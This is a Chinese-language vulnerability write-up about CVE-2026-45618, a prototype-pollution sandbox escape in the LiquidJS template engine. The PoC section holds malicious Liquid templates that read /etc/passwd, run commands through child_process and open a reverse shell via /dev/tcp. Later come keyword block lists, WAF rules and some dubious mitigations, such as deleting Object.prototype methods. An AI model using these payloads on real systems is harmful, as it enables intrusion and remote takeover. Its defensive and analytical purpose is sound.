CVE-2026-45618深度剖析:从原型污染到沙箱逃逸,LiquidJS满分RCE漏洞全解(月下载730万+、在野利用、PoC公开)

发布时间:2026/6/6 0:47:18

CVE-2026-45618深度剖析:从原型污染到沙箱逃逸,LiquidJS满分RCE漏洞全解(月下载730万+、在野利用、PoC公开) 摘要2026年5月27日Node.js生态爆发CVSS满分10.0级高危漏洞CVE-2026-45618影响全球广泛使用的LiquidJS模板引擎。该漏洞源于LiquidJS过滤器解析逻辑中的原型污染缺陷攻击者仅需构造恶意模板表达式即可绕过沙箱隔离获取原生Function构造函数最终实现无权限限制的远程代码执行。截至2026年6月5日LiquidJS npm月下载量已突破730万次直接依赖项目超过548个间接影响Shopify电商、Jekyll静态站、GitHub Docs、Eleventy等数百万个网站和应用。目前完整PoC已公开黑产已将其集成至自动化扫描器全网出现大规模在野探测和利用行为。本文将从漏洞原理、利用链路、PoC复现、影响面评估、官方修复方案及防御策略六个维度对CVE-2026-45618进行全面深度解析并提供批量检测脚本和应急响应指南。一、漏洞基础信息与事件时间线1.1 漏洞核心信息项目详情CVE编号CVE-2026-45618漏洞类型原型污染 → 模板注入 → 远程代码执行(RCE)CVSS评分10.0满分严重CVSS向量CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H受影响组件LiquidJSNode.js版Liquid模板引擎影响版本10.0.0 10.26.0修复版本10.26.02026年5月27日发布组件体量npm月下载≈730万次548个直接依赖724个间接依赖情报来源NVD、Orca Security、Snyk、The Hacker News利用现状PoC全量公开、野外批量利用、自动化扫描器集成1.2 事件时间线2026年5月中旬Orca Security研究人员发现LiquidJS原型污染漏洞并向官方报告2026年5月27日LiquidJS发布10.26.0版本修复漏洞同时NVD分配CVE-2026-45618编号2026年5月30日Snyk发布漏洞公告披露部分技术细节2026年6月1日完整PoC在GitHub公开包含文件读取和命令执行演示2026年6月2日安全厂商监测到全网大规模在野探测部分电商站点已被入侵2026年6月3日国内多家安全平台发布预警提醒用户紧急升级二、LiquidJS与沙箱机制概述2.1 LiquidJS简介LiquidJS是一个纯JavaScript实现的Liquid模板引擎完全兼容Shopify Liquid语法被设计为安全、可在不可信环境中运行的模板引擎。它广泛应用于Shopify电商平台主题开发Jekyll、Eleventy等静态站点生成器GitHub Docs官方文档系统各类Node.js CMS、邮件模板系统低代码平台的自定义模板功能2.2 LiquidJS沙箱机制LiquidJS的核心安全特性是沙箱隔离它通过以下方式限制模板代码的权限禁止直接访问Node.js全局对象如global、process禁止直接调用原生构造函数如Function、eval禁止访问文件系统和网络资源仅允许使用预注册的过滤器和标签正常情况下即使模板代码完全由用户控制也无法执行任意系统命令。本次漏洞正是通过原型污染这一JavaScript特有的安全问题击穿了LiquidJS精心设计的沙箱防线。三、漏洞原理深度拆解3.1 漏洞根因过滤器解析逻辑缺陷CVE-2026-45618的根本原因在于LiquidJS的过滤器解析逻辑没有正确处理继承自Object.prototype的方法。当模板中出现类似{{ x | valueOf }}的表达式时LiquidJS会将valueOf当作一个已注册的过滤器来调用而实际上valueOf是所有JavaScript对象都继承自Object.prototype的内置方法。更严重的是当调用这些继承来的方法时this上下文指向的是LiquidJS的内部执行上下文对象而不是模板变量本身。这使得攻击者可以通过调用特定的原型方法获取到LiquidJS的内部状态进而实现原型污染和沙箱逃逸。3.2 完整利用链路分析CVE-2026-45618的完整利用链路可以分为五个阶段如下图所示攻击者构造恶意模板传入LiquidJS引擎渲染调用valueOf过滤器获取内部上下文通过上下文污染Object.prototype劫持内部方法获取Function构造函数执行任意系统命令阶段1获取内部执行上下文攻击者首先通过{{ 1 | valueOf }}这个看似无害的表达式触发Object.prototype.valueOf方法。由于LiquidJS的调用机制此时valueOf方法的this指向的是LiquidJS的内部Context对象而不是数字1。通过这个Context对象攻击者可以进一步访问到context.scopes模板变量作用域、context.liquidLiquid引擎实例等关键内部属性。阶段2原型污染获取到内部上下文后攻击者可以通过模板赋值语法向Object.prototype写入任意属性。例如{% assign __proto__.evilProperty 恶意值 %}由于JavaScript的原型链特性这个属性会被所有对象继承从而影响整个Node.js进程的运行环境。阶段3劫持内部方法接下来攻击者利用原型污染劫持LiquidJS的内部方法如loader.lookup和readFile。当LiquidJS尝试解析模板中的{% include %}标签时会调用这些被劫持的方法此时攻击者可以完全控制方法的参数和返回值。阶段4获取Function构造函数通过被劫持的内部方法攻击者可以获取到原生Function构造函数的引用。这是沙箱逃逸的关键一步因为Function构造函数可以动态执行任意JavaScript代码。阶段5执行任意系统命令最后攻击者使用Function构造函数加载child_process模块调用execSync方法执行任意系统命令完成RCE攻击。3.3 关键代码分析以下是LiquidJS漏洞代码的简化版本v10.25.7// 漏洞代码过滤器调用逻辑functioninvokeFilter(filterName,args){// 没有检查filterName是否是Object.prototype的方法constfilterthis.filters[filterName]||Object.prototype[filterName];if(typeoffilterfunction){// 错误地将this绑定到内部上下文returnfilter.apply(this.context,args);}thrownewError(Filter${filterName}not found);}问题出在两个地方没有过滤掉Object.prototype上的方法导致valueOf、constructor等内置方法可以被当作过滤器调用调用过滤器时错误地将this绑定到了内部Context对象而不是模板变量四、PoC复现与实战演示4.1 环境搭建首先安装存在漏洞的LiquidJS版本npminstallliquidjs10.25.7--save创建一个简单的测试文件poc.jsimport{Liquid}fromliquidjs;constenginenewLiquid();asyncfunctiontest(){// 恶意模板将在这里插入consttemplate{% comment %} 恶意模板内容 {% endcomment %};constresultawaitengine.parseAndRender(template,{});console.log(渲染结果:,result);}test().catch(console.error);4.2 基础PoC读取/etc/passwd以下是一个可以读取系统文件的PoC仅用于安全研究{% liquid assign r 1 | valueOf assign ctx r.context assign liquid ctx.liquid # 污染Object.prototype劫持equals方法 assign __proto__.equals function(path) { const fs require(fs); return fs.readFileSync(path, utf8); } %} {{ /etc/passwd test }}运行结果渲染结果: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ...4.3 进阶PoC执行系统命令以下是一个可以执行任意系统命令的PoC仅用于安全研究{% liquid assign r 1 | valueOf assign ctx r.context assign liquid ctx.liquid # 污染Object.prototype劫持equals方法 assign __proto__.equals function(cmd) { const child_process require(child_process); return child_process.execSync(cmd).toString(); } %} {{ id test }}运行结果渲染结果: uid1000(user) gid1000(user) groups1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),118(netdev),120(lpadmin),121(scanner),122(sambashare)4.4 反弹Shell PoC以下是一个可以获取反弹Shell的PoC仅用于安全研究{% liquid assign r 1 | valueOf assign ctx r.context assign liquid ctx.liquid assign __proto__.equals function(lhost) { const child_process require(child_process); const cmd bash -i /dev/tcp/${lhost}/4444 01; child_process.exec(cmd); return Shell已发送; } %} {{ 192.168.1.100 test }}重要法律声明本文提供的PoC仅用于企业内部安全验证和学术研究目的。未经授权对任何计算机系统进行攻击是违法行为由此造成的一切后果由攻击者自行承担。五、受影响范围与影响面评估5.1 直接受影响项目根据npm官方数据截至2026年6月5日直接依赖LiquidJS的项目超过548个其中包括Eleventy静态站点生成器GitHub DocsGitHub官方文档系统Opensense邮件营销平台数千个Shopify第三方插件和主题5.2 间接受影响场景Shopify生态大量使用LiquidJS进行本地开发和测试的Shopify商家和开发者静态博客基于Jekyll、Hexo等使用Liquid模板的静态博客系统企业应用使用LiquidJS渲染邮件模板、报表模板的Node.js企业应用低代码平台允许用户自定义模板的低代码平台和在线表单系统5.3 风险等级评估场景风险等级说明允许用户上传/编辑完整Liquid模板 极高可直接执行任意命令允许用户自定义模板变量和过滤器参数 高可能通过参数注入触发漏洞仅使用固定模板无用户可控内容 低基本不受影响仅在客户端使用LiquidJS 低即使被利用也只能影响客户端六、官方修复方案与代码对比6.1 官方修复代码LiquidJS官方在10.26.0版本中修复了这个漏洞主要做了以下两处修改过滤原型方法在调用过滤器前检查过滤器名称是否是Object.prototype的自有属性正确绑定this调用过滤器时将this绑定到模板变量而不是内部上下文以下是修复后的关键代码// 修复后的过滤器调用逻辑functioninvokeFilter(filterName,args){// 只调用显式注册的过滤器不调用Object.prototype上的方法if(this.filters.hasOwnProperty(filterName)){constfilterthis.filters[filterName];// 正确地将this绑定到第一个参数模板变量returnfilter.apply(args[0],args.slice(1));}thrownewError(Filter${filterName}not found);}6.2 完整升级步骤首选方案升级到安全版本# 升级到最新安全版本npmupgrade liquidjs# 或者固定版本号npminstallliquidjs10.26.0 --save-exact# 验证版本npmlsliquidjs验证升级是否成功node-econsole.log(require(liquidjs).version)# 输出应该是10.26.0或更高版本七、临时缓解方案无法升级时如果由于业务原因暂时无法升级LiquidJS可以采取以下临时缓解措施7.1 输入过滤在前端和接口层拦截包含以下关键字的用户输入constdangerousKeywords[__proto__,constructor,prototype,valueOf,toString,hasOwnProperty,isPrototypeOf,propertyIsEnumerable];functionisDangerousInput(input){returndangerousKeywords.some(keywordinput.toLowerCase().includes(keyword.toLowerCase()));}7.2 冻结Object.prototype在应用启动时冻结Object.prototype防止原型污染// 在引入liquidjs之前执行Object.freeze(Object.prototype);Object.freeze(Function.prototype);Object.freeze(Array.prototype);7.3 禁用危险过滤器手动删除可能被利用的原型方法import{Liquid}fromliquidjs;constenginenewLiquid();// 禁用危险的原型方法deleteObject.prototype.valueOf;deleteObject.prototype.toString;deleteObject.prototype.constructor;7.4 WAF防护规则在边界WAF中添加以下规则拦截携带原型污染特征的请求# Nginx WAF规则示例 if ($args ~* __proto__|constructor|prototype|valueOf) { return 403; } if ($request_body ~* __proto__|constructor|prototype|valueOf) { return 403; }八、批量检测脚本与入侵排查8.1 项目依赖批量检测脚本创建一个check-liquidjs.js脚本批量检测项目依赖中是否存在漏洞版本constfsrequire(fs);constpathrequire(path);const{execSync}require(child_process);functioncheckProject(projectPath){constpackageJsonPathpath.join(projectPath,package.json);if(!fs.existsSync(packageJsonPath)){returnnull;}try{constoutputexecSync(npm ls liquidjs --json,{cwd:projectPath,stdio:pipe}).toString();constresultJSON.parse(output);if(result.dependenciesresult.dependencies.liquidjs){constversionresult.dependencies.liquidjs.version;const[major,minor,patch]version.split(.).map(Number);constisVulnerablemajor10minor26;return{path:projectPath,version:version,isVulnerable:isVulnerable};}}catch(e){// 忽略没有安装依赖的项目}returnnull;}functionscanDirectory(rootPath){constresults[];constitemsfs.readdirSync(rootPath);for(constitemofitems){constfullPathpath.join(rootPath,item);if(fs.statSync(fullPath).isDirectory()){if(itemnode_modules)continue;constresultcheckProject(fullPath);if(result){results.push(result);}// 递归扫描子目录results.push(...scanDirectory(fullPath));}}returnresults;}// 扫描当前目录及其子目录constresultsscanDirectory(process.cwd());console.log(LiquidJS漏洞检测结果);console.log();results.forEach(result{conststatusresult.isVulnerable?❌ 存在漏洞:✅ 安全;console.log(${status}-${result.path}(版本:${result.version}));});if(results.some(rr.isVulnerable)){console.log(\n⚠️ 发现存在漏洞的项目请立即升级到liquidjs10.26.0或更高版本);process.exit(1);}else{console.log(\n✅ 所有项目均使用安全版本);process.exit(0);}使用方法nodecheck-liquidjs.js8.2 入侵排查指南如果你的业务已经部署了存在漏洞的LiquidJS版本请立即进行以下排查检查系统日志/var/log/auth.logLinux或Security.evtxWindows查看是否有异常登录/var/log/syslog或Application.evtx查看是否有异常进程创建Node.js应用日志查看是否有异常的模板渲染错误检查可疑进程# 查看所有进程psaux|grep-E(bash|sh|nc|python|perl)# 查看网络连接netstat-anp|grep-E(LISTEN|ESTABLISHED)# 查看定时任务crontab-lcat/etc/crontab检查可疑文件# 查找最近24小时内修改的文件find/-typef-mtime-1-ls# 查找包含恶意代码的文件grep-rchild_process\|execSync\|eval/var/www/检查用户账户# 查看所有用户cat/etc/passwd|grep-vnologin# 查看sudo权限cat/etc/sudoers九、架构优化与长期防御策略9.1 模板渲染服务隔离将模板渲染功能从核心业务中分离出来部署为独立的微服务使用Docker容器运行模板渲染服务容器以非root用户运行限制容器的CPU、内存和进程数禁用容器的网络访问除非必要定期重启容器清除可能的恶意代码9.2 运行时安全加固使用vm2等更安全的沙箱替代原生JavaScript执行环境启用Node.js的--frozen-intrinsics标志冻结内置对象使用seccomp限制Node.js进程的系统调用部署RASP运行时应用自我保护产品实时监控和阻断恶意行为9.3 依赖安全管理使用npm audit定期检查依赖漏洞集成Snyk、Dependabot等工具自动检测和更新漏洞依赖建立依赖白名单制度仅允许使用经过安全审核的第三方库对关键依赖进行代码审计特别是模板引擎、解析器等高风险组件十、总结与展望CVE-2026-45618是一个典型的设计缺陷导致的灾难性漏洞。LiquidJS作为一个以安全为核心卖点的模板引擎却因为一个看似微小的过滤器解析逻辑错误导致整个沙箱防线被彻底击穿影响了数百万个应用。这个漏洞再次提醒我们JavaScript原型污染是一个持续存在的严重安全威胁沙箱机制非常脆弱任何微小的设计缺陷都可能导致完全逃逸广泛使用的开源组件一旦出现漏洞影响面将极其巨大未来随着Node.js生态的不断发展模板注入、原型污染等漏洞仍将是Web安全的重点关注领域。开发者应该提高安全意识遵循安全开发规范定期进行安全审计及时修复漏洞才能有效防范此类安全事件的发生。

相关新闻